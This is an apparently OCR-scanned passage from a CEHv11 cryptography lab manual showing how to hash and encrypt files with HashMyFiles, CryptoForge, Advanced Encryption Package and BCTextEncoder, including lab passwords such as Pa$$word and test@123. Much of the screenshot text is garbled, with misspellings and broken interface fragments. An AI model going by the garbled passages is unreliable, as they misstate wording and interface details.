tool.com), and md5 hash U Confidentialtd Show Time In GMT < CRCR2 d7d7... %ezed3dS
calculator . | Driving License. ¥ Mark Hash In Clipboard SHA-256 2ddEf...  e55decds
0‘;“;’:/ é:]’:&::ht‘:l‘;‘:m Bl linsurance Detsi & Mark Identical Hashes SHA-512 bfc39e2 2e2¢5cha
O ) C i 2 —_
MD6 hashes. 3" Medical Record Enable Explorer Context Menu SHA-324 pfc39e2  2e2c5cba
Enable Explorer Context Menu - VirusTotal
Show Hashes In Uppercase
"Vi'f . Extract Version Information
Add Header Line To CSV/Tab-Delimited File
Puticon On Tray >
Always On Top

Figure 1.3.7: HashMyFiles window: Options hist

Note: In real-time, you may share confidential information in the folder in an
encrypted form to maintain its integrity.

9. This concludes the demonstraton of calculaing MD5 hashes using
HashMyFiles.

10. Close all open windows and document all the acquired information.

= task a Perform File and Text Message Encryption using CryptoForge

Here, we will use the CryptoForge tool to encrypt a file and text message.
Note: Ensure that the Windows 10 virtual machine is running,

1. Turn on the Windows Server 2019 virtual machine; log in with the
credentials Administrator/Pa$$word.
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2. Navigate to Z:\CEHv11 Module 20 Cryptography\Cryptography

Tools\CryptoForge and double-click CryptoForge.exe.
Note: If a User Account Control pop-up appcars, click Yes.

3. The CryptoForge Installation window appears; click Next.

CryptoForge 5.4.0 Installation

rongy tecommended that sou ext 2l olfer \Windows prograsns belore running

&iup peogram

Cick cancel to ol Setup and close any progiams wou have runnng. Clck Neat to

Rh ShUD PIoOran

the privacy of sensitive
files, folders, or email
messages by encryping
them with strong
cncr}pum) n!g()mh,m S Unacthoszed repioduction o dtibuson of thes peooran, of any poction of &, mas
Once the information has resudt in severe oivi and covinal penabie:. and wil be prozecuted to the maimum
been encrypted, it can be o£e08 posebla Uricet vk

stored on insecure media
or transmitted on an
insecure network—such
as the Internet—and
remain pavate. Later, the
informaton can be
deerypred into its onginal
form. Frure 1.4.1: CryproFonge Installauon window

Waming The program & protectad by copyright law and inlemationa ieaties

4. PFollow the installation steps to install the application using all default
settings.

5. After completion of the installation, CryptoForge installation
successful wizard appears; click Finish.

Chtk Fineth 10 2nd the rtalistion

Fgure 1.4.2: CryptoFongze mstallanon suceessful

Pg.169 www.technoglobe.co.in



Oxford University Awarded

techneGizbe®

Detivering Excellence Since 2007

Technoglobe IT Solutions Pvt. Ltd.
INDIA | CANADA | UAE | UK | SINGAPORE

6. Now, switch to the Windows 10 virtual machine.

7. Navigate to E:\\CEH-Tools\CEHv11 Module 20
Cryptography\Cryptography Tools\CryptoForge, double-click
CryptoForge.exe, and follow the steps to install the application using

default settings.
8. Right-click the Confidential.txt file located at the same location
Hrask 4.2 (E:\CEH-Tools\CEHv11 Module 20 Cryptography\Cryptography
Encrypt a File Tools\CryptoForge) and sclect Encrypt from the context menu.

Note: In this task, we are encrypting the Confidential.txt file, although you
can encrypt any file of your choice.

/| || = CryptoForge = u] XJ
Home Share View :

. - 7., B T 9
L,}.E!I u £ «Moveto> X Detete ~ o v = =
{ - At —J 2
Pinto Quick Copy Paste D copytor =hg New Properties Select
n((:-.'. lﬁ] 288 ek folder . o 4
Clipboard Organize New Open
&« vi 4 <« Cryptography Tools > CryptoForge v &  Search Cryptoforge £
& Downloads # »  Neme - Date modified Type
% Documents ¢ |,j Confidential.bt ' : Text Di
= Pictures < @& CryptoForge.exe bt Applicd
n
CEH-Tools
Edit
CEHv11 Module MDS Calculator
CEHVIT Module [&f Edit with Notepads +
‘i Local Disk (C:)
v | B Encoypt |
@ OneDrive 75 Shred
& This PC 12 Share
B 30 Objects Gt € l Open with
2items 1 item selected 1i5bytes  State: 3R Sha Give access to

9. The Enter Passphrase - CryptoForge Files dialog-box appears; type a
password in the Passphrase ficld, retype it in the Confirm field, and click
OK. The password used in this lab is qwerty@1234.

@ Enter Passphrase - CryptoForge Files X

#) . 3

AN | &3 Num Lock @8 Caps Lock |
massphrase EEEATEA R TR

Quality:  —

I_C_Ohﬁﬂ'n' AEREERRRE R

I OK I Cancel | ' Help

i

Figure 1.4.4: Enter Passphrase - Cryptolorge Files Dialog-Box
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10. Now, the file will be encrypted 1n the same location, and the old file wall
be deleted automatcally, as shown in the screenshor.

Note: No one can access this file unless the user provides the password for
the encrypted file. You will have to share the password with the user through
message, email, or any other means.

< | CryptoForge - O X
Home Share View o
s / - s B~
U e - X~ ‘Gj = a5
(S =30 '
Pinto Quick Copy Paste v | g New Pcoperties Select
aceess E] —I, folder v v
Clipboard Organize New Open
- v 4 <« Cryptogra.. » Cryptoforge v 0 Search Cryptoforge el
& Downloads # ~  Name Date modified
(5] Documents | % Confidential.ot.cfe 12/10/2019 6:04 PM
&) Pictures 4 @ CryptoForge.exe 12/10/2019 5:47 PM
CEH-Tools
CEHv11 Module
CEHv11 Module v <
2items  1item selected 166 bytes  State: a Shared

Frgure 1.4.5: File Enerypted

=

TASK 4.2

Decrypt the
Encrypted File

Pg.171

I ot nis assnmee that vorr shared this file (hrongh a shared nenwark drive

. Now, switch 10 the Windows Server 2019 virtual machine and navigate
to» ZNCEHv11 Module 20 Cryptography\Cryptography
Tools\CryptoForge. You will observe the enerypted fle in this location.

13. Double-click the encrvpred file to decrypt it and view its contents
L1 & = | CryptoForge - C X
“ Home Share View (2]

- .. - B
B2 & x o e BT
- - |
Fin 0 Quick Copy Paste B- = New Properties Select
access lﬂ I_I: folder - -
Clipbsaid Osganize New Opzn
& - <« Ciyp... » CiygtoFor.. v O  Search Ciyptoforge P
~ Name Date modificd
# Quick access
| & Confidentialt cfe 12/10/2019 €:04 P14
B Desktop A
@& Cryptotorgaexs 12/10/2019 $:47 P14
l Dowinloads
Oocuments £ o >
-
2items  1item selected 166 bytes Ji=d =

Figure 1.4.6: Deerypted the Encrypeed File
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4. The Enter Passphrase - CryptoForge Files dialog-box appears; enter
the password that you have provided in Step#9 to encrypt the file and

click oK.
=~ Enter Passphrase - CryptoForge Files %
= \
.\\‘_ [@Nmm -C”SL@]
'EaSSphrase: Tt TITRRYTY J
|
L OK Cancel Help

Figure 1.4.7: Enter Passphrase - CaproForge Files Dulog-Box

15. Upon entering the password, the file will be successfully decrvpred. You

may now double-click the text file to view its contents.

1 =) = DtoF oIS
Home Shate Viewvt 0
[j '£ wMoveto~ X Octete = q‘.e'. M { EBSelea .l
fintoQuiex Copy  Paste v Copyto~ =R New o Properties i DR
Jccess [E] py.ie Sns {oider - E’E Invert selection
Cliptonrd Ceganize Hew Open Select
« L <« Cryptography Tools » CryptoForge v & | Search Ciyproforge r
A Name ! Confidental.a - Notepad - X
o ahaacces? & Crptoforgeece | File Edit Format View Help
W Destop ¢ nfidentolne 1Y Visa Credit Card number is 12%= w=s+ *re= a23g
& Downloads « L= ————|#y Bank Account number is 342<x<+%23
Dosimentsla My Card pin rumber is 68
| Pictures o
CryptoFerge # v < Windowz ( Ln 3, Col1 100%
2item: 1 item selected 115 bytes [_E:; =1

FRITC A0 I L20CNTHED DUCCCIsTuny

16. So far, you have scen how to encrypt a file and sharc it with the intended

aser. Now, we shall stare an encevpred message wath o oser.

B YASK 4.4 17. In thc Windows Server 2019 maching, chick the Start icon present :n the

Encrypt a

apps to lzunch the applicauon.
Message Pp rp

bottom-lell cormer of Desktop «nd clich CryptoPorge Text {tom: the

1B. The CryptaForge Text window appears; type a message and click

EBncrypt (T the tooibar.
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W CryptoForge Text (Trial Mode) - Document1 - ] X
Lle Edit View Message Insert Format Help
9 A é
Passphrase | Decrypt | InsertFile
Uaual&namlno | B Z U |[segoel Ao V==

Hi, My Account Number is 12"""""342"

Figure 1.4.9: Encrypung a Text Message

19. The Enter Passphrase - CryptoForge Text dialog-box appears; type a
password in the Passphrase ficld, retype it in the Confirm ficld, and click
OK. The password used in this lab is test@123.

@ Enter Passphrase - CryptoForge Text v
v\
‘,» , [“] Hide Typing &= Num Lock -mw]
|Passphrase:

Quality:

{Confirm: e

[OK][Cancel’|Help

Figure 1.4.10: Eater Passphrase - CayptoForge Text Dialog-Box

20. The message that you have typed will be encrypted, as shown in the
screenshot.

20. The message that you have typed will be encrypted, as shown in the
screenshot.

% CryptoForge Text (Trial Mode) - Document1 - a X
File Edit View Message Insert Format Help

. 3 e ]
Passphrase | Encrypt  Decrypt Insert File

NS G| % mBR|[9 ¢ B L U |CouerNew sV [E= =

|‘“ Dmmload CzypcoForqe - ht..ps //wwe . c:ypt forge.com A4a

} 0 D ===

| xvldssjJ9l'iGmZ3G+Jtcsx1rerJVJ"NIQXS3Inxq4fSwnSbI(tFBZEOA&tloGY‘NGTIerufmﬂZC
| PulEcJcGaRrlJulTeéSxpakybulymAyr9QzHLHPCETpTAS4+220ZdZfhLnibttqlIviBeubZl3Vy
| TDgdsMXKGUC]KPvadKID2KCgow/Xx£1fbSbEfxMsIxPq2n20peD11kDBIIB32z8eiK=ONs7YFFjORdp

Figure 1.4.11: Enerypted Message
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21. Now, you need to save the file. Click File in the menu bar and click Save.

- Cryptof:orgeText (Tnal Mode) - Documentl - a X
File | Edit View Message Insert Format Help
) New Cul:N - l ]
|E3 Open.. Cti+0 Decrypt | InsertFile |
Reopen BB A9 B £ U |CouerNew Vo | [El= =
E Save Ctri+S l‘.oForqe - htrps://www.Ccryptoiorge.com 244
Ae. JEGIN BLOCK 5.4 UNREGISTERED --->
b3 feexirxrTIVIWNIQXS3Inxg4ISwnEEI4tFBZEQA4tIoGYTWG 7 TrPmuimb2C
Print... Ctrl+P iSxpzkybuLymAyrSQzHLHpCETpTAS4+e202dZfhlmibttqlJvZB4ubZlivVg
{Th2KCgow/xfIfbSbixMsIxPg2n20peD11kDBIIB3z8eiKzONs7YFFI0Rdp
Page Setup...
: IND BLOCK --->
M et cu+Q
1l

Figure 1.4.12: Saving the File
22.The Save As window appears; navigate to Z:\CEHv11 Module 20

Cryptography\Cryptography Tools\CryptoForge, spccify the file name as
Secret Message.cfd, and click Save.

"

£

A

| -

Organize ~

Save As X
- 2| vlo

New folder 2 - e

« Cryptograp... > CryptoForge Search CryptoForge »p

[ Desktop N Date modified
%] Documents
& Downloads
D Music

== Pictures
B videos

i Local Disk (C:)

Type

Name

No items match your search,

< >

File name: l Secret Message.cfd v
Save as type: 5 CryptoForge Document (*.cfd) V]

[_seve |

Hide Folders C_an;e_l

Pg.174

Figure 1.4.13: Saving the File
23. Close the CryptoForge Text window.
24. Now, let us assume that you shared the file through the mapped network

drive and shared the password to decrypt the file in an email message or
through some other means.

25. Switch to the Windows 10 virtual machine and navigate to E:\CEH-
Tools\CEHv11 Module 20 Cryptography\Cryptography
Tools\CryptoForge.
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26. You will observe the encrypted file in this location; double-click the file
Secret Message.cfd.

' 5 | CryptoForge — 0 X
Share View ~ @
=y pm Y B N R~
v I-E [—] - - ! E
2 LLE] | T X £, LZ] 1
Pin to Quick Copy Paste _ B _.,I, New Properties Select
access [#] ; folder v £ v
Clipboard QOrganize New Open
<« v 4 « Cryptogr.. > CryptoForge v &  Search CryptoForge »r
A Name Date modified
»#* Quick access =
|| Confidential.tat 12/10/2019 6:04 PM
I Desktop » .
@ CryptoForge.exe 12/10/2019 5:47 PM
o -
f Dowtioads; ; | & Secret Message.cfd 12/11/2019 10:15 ..
%] Documents
== Pictures 4
V! € >
3items 1item selected 518 bytes  State: 3R Shared o &

Figure 1.4.14: Viewing the Encrypted Fale
27. The CryptoForge Text window appears, displaying the message in an
encrypted format. Click Deerypt from the toolbar to decrypt it.

B ROR R

27. The CryptoForge Text window appears, displaying the message in an
encrypted format. Click Deerypt from the toolbar to decrypt it.

& CryptoForge Text (Trial Mode) - Secret Message.cfd — 0 > <
File Edit View Message Insert Format Help

? 9 -§ |] )
Passphrase |  Encrypt Dec | Insert File
NSHG| & MR 9C B 7 y|[Coetow Vo ]| ]

|“‘ Download Cryptoforge - https://www.cryptofcrge.com A4

<--- CRYPTOFORGE BEGIN BLOCK 5.4 UNREGISTERED --->

Xvids83JoUcmZ3G+) £esx1rxrTIVIWNIQKS3IInxg4 £SwnSbI4tFBZEQASTIOGYTWG7 T Pmuimb2C
PuJEoJcGaRriJulTeedxpzkybulymAyr9QzHLEPCETPTAC4+220ZdZfhlmibreyldvZBIubZi3vy
TDgdsMXKGUO) KPvedKTb2KCyow/ XL I fb5SbxMsIxPg2n20peD11kDBJIIB32z8eiKz=CNs7YFFjORdp
X0yyYKpewlFen3xC

<=--- CRYPTOFORGE END BLOCK --->

Figure 1.4.15: Deerypting the Encrypted File

28. The Enter Passphrase - CryptoForge Text dialog-box appears; enter the
password you provided in Step#19 to decrypt the message in the
Passphrase ficld and click OK.
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Passphrase:

Enter Passphrase - CryptoForge Text X

\-
Z

> [Hide Typing

Num Lock @B Caps Lock

il

PEETTETY

Cancel

Help

Fgure 1.4.16: Enter Passphrase - CayptoForge Text Dilog-Bos

29. The CryptoForge Text window appears, displaying the message in plain-
text format, as shown in the screenshot.

# CryptoForge Tat (Trial Mode) - Secret Message.cfd = a X

File Edit View Message Inset Format Help
? 9 £l )
Passphrase | Encrypt Decrypt Insert File

o v][mEl=

E Y B E AR DO B L oy [Sewoeu

lIHi, My Account Numberis 1277""77"""342 I

Figure 1.4.17: Message Deceypred Successfully

Note: Ia real-time, you may share sensiive information through email by

encrypting data using CryptoForge.

30

. This concludes the demonstration of performing file and text message

encryption using CryptoForge.

31. Close all open windows and document all the acquired information.

32. T'urn off the Windows Server 2019 virtual machine.

Perform File Encryption using Advanced Encryption Package

H TASK 5

H rask 5.1

Install Advanced
Encryption
Package

Pg.176

N

Here, we will use the Advanced Encryption Package tool to perform file encryption.

In the Windows 10 virtual machine, navipate to EANCEH-Tools\CEHvi1
Module 20 Cryptography\Cryptography Tools\Advanced Encryption
Package and double-click aep.msi.

Windows Installer initializes and the Advanced Encryption Package
Setup window appears; click the 1 accept the terms in the License
Agreement chceckbox; then, click Install.

www.technoglobe.co.in



— Adwvanced

Encrypuon Package s a
file encnyption software
for Windows used for
secure file reansfer, barch
tile encrypeion, and
enceypted backups. Tt
supports file and/or texe
encryphion, performs
secure e deletion, and
creates an enceypted self-
eximaciing file w© send as
an enail attachment.

Oxford University Awarded
techneGizbe®

Detivering Excellence Since 2007

Technoglobe IT Solutions Pvt. Ltd.
INDIA | CANADA | UAE | UK | SINGAPORE

Note: If a User Account Control pop-up appears, click Yes.

E§ Advanced Encryption Package 2017 Setup - X
Please read the Advanced Encryption Package 2017 License
Agreement 1
Advanced Encryption Package 2017 -

Version 6.06
January 8, 2017

License for use and distribution.

1. AEP 2017 is distributed as try before you buy.
This means:

1. All convriohts ta AFP 2017 are exchisivelv awned

[EA1 accept the terms i the License Agreement |

Chick Install to install the product with default options for all users. Click Advancad to
dhange installation options.

Print advaced | @il ] Cancel

Figure 1.5.1: Advancad Encryption Package Setup window

3. Follow the steps to install the application with default settings.

4. After the completion of the installation, Completed the Advanced
Encryption Package Setup Wizard appcars; then, click Finish.

F Advanced Encryption Package 2017 Setup o X

Completed the Advanced Encryption
Package 2017 Setup Wizard

Click the Fresh button to ext the Setup Wizard.

Bock IFnd1| Cancel
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Frrure 1.5.2: Advanced Encrvnnion Packace Setun windov
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Now, click the Start icon from the bottom-left corner of Desktop; and

from the list of Recently added applications, click Advanced Encryption

Package 2017 to launch the application.

Recently added
@ Advanced Encryption Package 2017

- Clpboard Encryptor (Tray lcon)

a.' CryptoForge Decrypter

Expand ~
Most used
PR Fic Explorer
Firefox
Command Prompt
Microzoft Edge
Nireshark

Notepad

3D Viewer

£ frype here to search

Figure 1.5.3: Launching Advanced Encryption Package applicaton from the Apps screen

6. The Advanced Encryption Package - License Manager

window

appears. Under the License Manager scction, sclect the Start free 30-

day trial radio button and click Next.

Advanced Encryption Package - License Manager

License Manager

| @ start free 30-day trial |

O Unlock full version

() Buy activation code

()1 have a kcense code, but it doas not seem to work

Pg.178

Figure 1.5.4: License Manager window
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7. The Activating step appears displaying a Success! message; then, click

Next.

'S

Advanced Encryption Package - License Manager
Activating
Success!

Chick Next button to continue.

x|

Figure 1.5.5: Acovanon Window

8. Leave all options set to default in the License Infermation step and click

Advanced Encryption Package - License Manager

License Information

Product: [Mvmoed Encryption Package
License Type: [ Evaluation
Licensed to: | Not Applicable

Number of seats: I 1

License expires in: I 60 day(s)

Subscription vakd ;| Not Appicable

=,

Pg.179

Figure 1.5.6: License Informaton secton
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9. The Advanced Encryption Package main window appears, as shown in
the screenshot.
S

|

|

Advanced Encryption Package 2017 v6.06 - Trial Version -
ile E-Mail Options Tools Help
) € oyt || Deaypt |
& D:
) W o
Delete E-mai
Encryption
Mode: Password
Password: =
Ridde:
oot
DESX lzsbthey v
[Jpack fle, then crypt
Source Fies
[T Delate after encryption
Securely delete
Fles Filter Set Qutput Foider 1
(®) Show al files (®) Current folder
O Apply fiter... il OCustom:
i 1 v l:
L m J [ | s
,00ging:
Encrypt Now!

Figure 1.5.7: License Information section
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1, 111 UIC Aavanceua Encrypuon rackage \VI1IUow, C.\[)illlu B Unve diu
H task 5.2 navigate to CEH-Tools\CEHv11 Module 20 Cryptography\Cryptography
Tools\Advanced Encryption Package. Sclect the Sample.docx file

Encrypt a File ' ; ' ' _
located in the gven location and click Enerypt 1n the toolbar
Q8 Advanced Encryption Package 2017 v6.06 - Trial Version - O X
File E-Mail Options Tools Help
= { [E———— 1
> g G A [Toam_ ]| oot
% 0. —— =T
it Cow | w
vV b .
Gl ik Dece || Emad
> CBHv11LabPrerequsites : p
) (Btv11Modyle 02 Footprntng and Recomasssance e
) | CEvIIModule 03 Scanning Networks ’
> (Bv11Module 04 Enumeraton Mode: Pascword
) | CBHv11Module 05 Vinerabdty Analysis Prserd Public Kev
) CEHv11Module 06 SystemHacking |
) | COvI1Modde 08 Srvffing Password:
) | CBNVIIMGJe 09 SocalEngneemy I
) CEv11Modde 10 Denialof Service {Agan:
) CBivi1Module 11 Session Hjackng [ ‘
CBHv 11 Module 12Evadng1DS, Frewalls, and Honeypots .
CERvL1 Module 13 Hacking V/eb Sesvers |
CBHv11 Module 14 Hacking \eb Apolcations | Ridde:
CBv11Module 15 SQU Injection '
CEv 11 Module 16 Hacking Vireless Networks
CBv 11 Mocule 17 Hacking Mobile Platforms
CEMV 11 Module 19 Cloud Computng e
v | (Bv11Module 20 Cryptography DAEJ:TA e
v | Cryptography Todk 1Aty v
v Advanced Encrypbon Package [(Jpack fie, then aynt
(i Y 1
Laso kmm Fles
2 !
, | CrploForee [J0elete after encryption
MDS and MDG Hash Caladators v Seauraly delete
Fhes Filter Set Quiput Folder
© Show a fies ® Current folder
OApply fiter,.. - OCusl‘om:
| n
ooy v
L ogging:
Enaypt how!
| = =

Ligure 1.5.8: Main window of Advance Enenvotion Packag
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11. You need to provide a password for encryption. In the right-hand pane,
enter the password into the Pwd field, retype it 1n the Again field, and
click Encrypt Now! button (Here, the password provided 1s test@123).

@ Advanced Encryption Package 2017 v6.06 - Trial Version - . 1
iFile E-Mail Options Tocls Help
> %a C: all Encrypt | Decrypt 1
&2 o: e — T el
a B SFX | Zip
v ) GBitTods Deete | Emal
» | CEHvillab Prerequisites 1 3
> CEHv 11 Module 02 Footprinting and Reconnaissance Encryption
> CEHv 11 Module 03 Scanning Networks
> CEHv11 Module 04 Enumeration Made: Password
p CEHv 11 Module 05 Vunerabiity Analysis [ipasswordll | PublcKey. |
> CErv11 Module 06 System Hacking ‘ —
) CEMv11Modube 08 Sniffing (8 of 16) _
> CEHv11 Modue 09 Socal Engneering g Lol
» | CEHv11Modue 10 Denial-of-Service Agan:
» | CEHv1lModue 11 Session Hjacking || premsemesserans
CEHv 11 Module 12 Evading IDS, Firewalls, and Honeypots
| CEHv11Module 13 Hacking \Web Servers PQ: RROCOCCODEDO00ED
 CEHv11 Module 14 Hacking Web Appications Rede:
| CEHv11 Module 15 SQL Injecton
 CEHv11Modue 16 Hacking Wireless Networks
 CEHv11 Madule 17 Hadking Mobile Platforms
v CEHv 11 Module 20 Cryptography DESK 128bit key
v | Cryptography Too's ki
v Advanced Enaryption Package [ JPack fie, then crypt
vaeo.mso | Source Fles
. 3,1,?;":“ {[CIDelete after encryption)
> | MDS and MD6 Hash Calaators vl searelydeete
Files Filter Set Qutput Folder 1
(®) Show all files (® Current foider
O Apply fiter... wl  Ooustom:
" vy
Encrypt Now!
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12. The encrypted Sample.docx.aep filc appears in the same location as
the original file (i.c., EACEH-Tools\CEHv11 Module 20

Cryptography\Cryptography Tools\Advanced Encryption Package).
13. To decrypt the file, first, select the encrypted file and click on Decrypt.

%4 Advanced Encryption Package 2017 v6.06 - Tnal Version -
Fde E-Mail Options Tools Melp

¢ Al Byt
Iinii
CEM-Tools
> CEHvIlLab Prerequstes eom—
» CEMvil Modue 02 Foolprnting and Reconnassance
) CEWv1lModue 03 Scanning Networks
y o CEHvI1Modde 04 Enumenaton Made: Password
) CEMviiModue 05 Vunerablty Analysis oo ]
) CBtvi1Modde 06 System Hsdeng | SeAsenI L Aickey |
> || CEHvil Modue 08 Sniffing Pwd (8 of 16)
) CEHvA1 Modde 09 Socd Engreerng IR
) CEMvilModde 10 Denialof-Service e
) CEMV11Modue 11 Session Hiaddng e
CEHv 11 Modude 12 Evading IDS, Frrewals, and Honeypots |
CEMv 11 Modue 13 Hadking Web Servers AQ: D0OO0ONOO0A000A
CErv i1 Module 14 Hacking Web Applcations ‘Ridde:
- CEMv11 Modue 15 SQU Injecton
CErv 11 Modue 16 Hackng Wreless Networks
CEHv 11 Module 17 Hadking Moble Platforms
- CErvil Mogde 19 Coud Computing Noorithn:
v (EMviiModue 20 Cryptography m . lmhﬁkﬂ
v Cryptograghy Tools X v
pm&.mm
lSouaﬁs
[CJoclete after encrypton
v ' Sequrely delete
1
[ £:\CEH-Tooks \CEMY11 Modue 20 Cryptography 'Cryptography Tools\Advanced €., A
Sample. docx [11K8] = > Sample. docx.aep [11 KB
Done. Processed 1 fles. Succeeded: 1, Faled: 0 Encrypt Now!
7] Processed 1198, Average speed: 1118/s v

Figure 15,10 Decrypting the sclected file
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14. You will be prompted to enter the password. In the right-hand pane,
under the Password ficld, enter the password that you have provided in
Step#11.

15. Under the Source file(s) scction in the right-pane, click the Delete radio-
button to delete the source file Sample.docex; then, click Decrypt Now!.

File E-Mad Optons Tools Help

-

Be Al mapt | oenpt |
- D ‘

&k ‘
- fions Dekte | Emal
CEMv11 Lab Prevequisttes e A i
CEMv11 Modude 02 Footprinting and Reconnassance :
CBv11 Modude 03 Scanning Nebworks Decryption

i CEMv 11 Module 04 Enumeration Mode: Password

CEBMv11 Modude 05 Winerabity Anaysis el :
CEMY 11 Modde 06 System Hadkng Pasmmords | Privkey |
CEHv11 Modude 08 Snffing o :
mummmw werrnane 1
- CEMv11 Modue 10 Denual-of-Service o
CErv11 Modue 11 Session Hiadkng

 CEMv11 Modude 12 Evadng 105, Frewals, and Honeypots
CEMv1l Modude 13 Macking Web Servers

| CEv1 Modude 14 Madkng Web Appicatons Source fiefs):
CEMv 11 Modude 15 SQU Injection | Omn‘m
CE4v11 Modde 16 Macking Wireless Networks ©E
CBv11 Modde 17 Macking Moble Platforms
| CEHV11 Modue 19 Cloud Computing T
CEMv11 Modude 20 Cryplography

Cryptography Tools

Advanced Encryplion Package

15 sep.ms

8 S dcx

< Sample.docx.ep

CryptoForge v,

Fes Fiter Set Output Foider
®)Show ol fies (®) Current foider

(O Apply fiter... e Otustom:

[ B

D) E:\CEM-Tools\CEMV 11 Madule 20 Cryptography'Cryptography Todis\Advanced E... A
Sample. docx [11 48] w> Sample. docx.aep 1148

[ Dore. Processed 1 fies, Succeeded: 1. Maded: 0

] Processed 1168, Average speed: 1108s v
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16. The Flle exists already... pop-up appears, click Yes.

File exists already...

§2 File “E:\CEH-Toois\CEHv 11 Module 20 Cryptography\Cryptography Tools\Advanced
Encayption Package\Sample.docx® is existing. Overwrite?

Yes || AMves | no Al No

Figure 1.5.12: File exssts already.... pop-up

17. The deerypted tile (Sample.docx) appears in the same location, as shown

in the screenshot.

17. The decrypted file (Sample.docx) appears in the same location, as shown

in the screenshot.

B4 Advanced Encryption Package 2017 v6.06 - Trial Version &= X
File E-Mail Options Tools Help
p— 1
b _ C ~ Encrypt Deaypt
o D: s =
S SFx [ = |
. S CER 1otk Delete Emad |
> CRMv1iLab Prerequisites
> CErv1 ! Modkse 02 Footprinting and Reconnaiszance part
> | CBHv11Mode 03 Scaming Networks il
> CBMv1 1 Modue 04 Erumeration Mode: Password
> CBiv11 Mode 05 Vudnerabiity Analyss P word Prov Ke
2 2 Y
> CBHv 11 Modue 06 System Haddng E"“' [ — —]
CBHv 11 Modue 03 Sruffing Fra
| CBHv11 Modde 09 Sood Engreering

> CBHv11t Vockde 10 Derial-of-Sesvice
CBHv 1L Modue 11 Sessan Hiading
CBHv11 Mode 12 Evaang IDS, Frewess, and Harieypots
CBMv 11 Modue 13 Hacking Web Servers
CBHv11 odie 14 Hadeng Web Applcatons
| CBiv1i Modde 15 SQU Injechon
CEHv 1L Modkde 16 Radang Wreless Netviorke
Cirivil Modide 17 Hacking Maobile Piatfoems

[—

Souree file(s):

(@ Delete

Oleaveitaione

T

CEHv11 Mochde 19 Cloud Camputing
v CBHv1i Modute 20 Cryplography
v Cryptography Tools
v Advarced Enayption Package
.msi
> Samgle . docx
> yptoForge
> MDS§ and MD6 Has<h Caladators Vi

Fes Filter
@ Show o files

O Appiy fiter...

Set Outout Foider
@ Curent folds

lerat OCUSM:

18 i

Apply

D E:YB-Tools XEHv 11 Module 20 Cryplography Xryptography Tooks\Advanced ... A
Sample . docx. aep [11KB] (DELETED) = > Sampie.docx [11K8]

[4 Done. Pracessed 1 Rles. Succeeded: 1. Faded: 0

[4 Processed 11KB. Average speed: 11 KB/s v

Degypt Nowt
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Note: In real time, network administrators or ethical hackers use this tool to
encrypt files and send it to the intended persons to safeguard the integrity of
the files.

18. This concludes the demonstration of performing data encryption using
the Advanced Encryption Package.

19. Close all open windows and document all the acquired information.

= task e Encryptand Decrypt Data using BCTextEncoder

Here, we will use the BCTextEncoder tool to encrypt and decrypt data.

1. In the Windows 10 virtual machine, navigate to E:\CEH-Tools\CEHv11
Module 20 Cryptography\Cryptography Tools\BCTextEncoder and
double click BCTextEncoder_v.1.03.2.1.exe.

= TASK 6.1

incrypt the Data 2. The BCTextEncoder Utility window appears, as shown in the
screenshot.
[T BCTextEncoder Utility v. 1,03.2.1 — o X

f.le Edit Key C_)_ptuons Help
s B E DETT B 2 P

=7 BCTextEncoder  [pecoded plan text: Encode by:  passward v| e
simplifies encoding and

decoding text data. Plain | 3
text cata are compressed,
encrypied, and converted
toy text format, which can
then be easily copeed o
the clipboard or saved as a
text fle. This wnility
software uses public key
encryption methods and
password-hased
enceyption, as well as
strong and approved
symmetne and public key
algonthms for dat

encryplion.
{Encoded text: Demods

3

Fragueee 16,1 Mamn wandow of BCTetlneoder
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3. To encrypt the text, insert text in the clipboard.

Or
Select the data that you want to encode and paste it to the clipboard by
pressing Ctri+V.
4. Ensure that the password option is sclected in the Encode by ficld and
click Encode.
f:'i_' BCTextEncoder Utility v. 1.03.2.1 - 0O X

rFile Edit Key Options Help

B 80 H0-Tad B & ?

Decoded plain text: 4048 Encode by: |password v| | Encode |
extEncoder simplifies encoding and decoding text data, Plain text data are compressed, encrypted and converted bl~

Encoded text: Decode |

Figure 1.6.2: BCTextEncoder: Seeret nformatson i clipboand

5. The Enter password pop-up appears; enter the password into the
Password ficld and retype it in the Confirm ficld; then, click OK. Here,
wc usc the password test@123.

Enter password X
Aty
| % | Session key algorithm AES-256 I OK l
Password : loooooooo I ’ Cancel 1
Confirm : I sessssee I
| - |

Figure 1.6.3: Set the password for encryption

6. BCTextEncoder cncodes the text and displays it in under the Encoded
text scction, as shown in the screenshot.
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[T BCTextEncoder Utility v. 1.03.2.1 -
e Edit Key Options Help

u] X

FEEFECEY E)

plan text: 4048 Encode by:  password v

émode

{BCTextEncoder simpifies encading and decoding text data. Piain text data are compressed, encrypted and converted b

iaww«: 9388  Decode
IN ENCODED MESSAGE— ~
‘ersion: BCTextEncoder Utity v, 1,03.2.1
yECQMOmIGLAVa3htogy TuoAKIFF [CQefbatPtEOSMIDGYWCO ZWCWDWGOBY
AT 1c3uKzbR SyTHGCK 4refAaGMuBS;9Te Jzsdgmxk W b OMNsCMAVDQoGhIr
mwmmmmmﬂmns[mmwm
AGNFGaXP [ JipRmtpe 37QID Lhr 1ach2EBUMIGICFOPXTxXNWPNrg +r\WicShK
SHAI4VSPrkgAfekds ir theP 3hT 5a 1pNvWOhgry3Lp ImGsONtXGPGIHEHIRQ2GT
+OROMNKIZiw==
YH
ENCODED MESSAGE—
Figure 1.6.4: Encoded text
B TAsK 8.2 7. To decrypt the data, first, you need to clean the Decoded plain text in
the clipboard, and then click the Decode button.
Decrypt the Data
[T BCTextEncoder Utility v. 1.03.2.1 - o X
File Edt Key Options Help
b R e S A O S
Decoded pian text: Encode by: | password v| || Encode
;-
Lm s
——BEGIN ENCODED MESSAGE-—— ~
Version: BCTextEncoder Utlity v. 1.03.2.1
Wy SECQMCFTKSXB 31aZF goBpkh Wil HEXREXPS 3QKdzwa 2F1 7K IpLFGFUKxMNEMNX
Y 40RsqGOMBTA7e EaRid 7d 3eZLig30WMKHLIYZ 36 Drik\Wiv4cj 7ivev 2]
VTGV 2mHEWLNPGEGNYFIN 33V /V 5Q fmh 6 SaqWVHTmL yEGQTEZPKuPSH 114X
BrawwBIGEOIZTIAVFMANND IPGHTBCCRAXVY 70 vesY +229b JOBICQeEEXW iqC
3MIBAFEMATLIC +TXICE RExhTaAuysinHFyeTiCr + 1iDVr 35 2/SkoPF
7FOYLbT2xSVg=
=BT
-—END ENCODED MESSAGE -
Figure 1.6.5: Decoding data
8. The Enter password for encoding text dialog-box appears; insert the

Password (test@123) into the password field and click OK.

assword : Ioooooooo l r—— *I

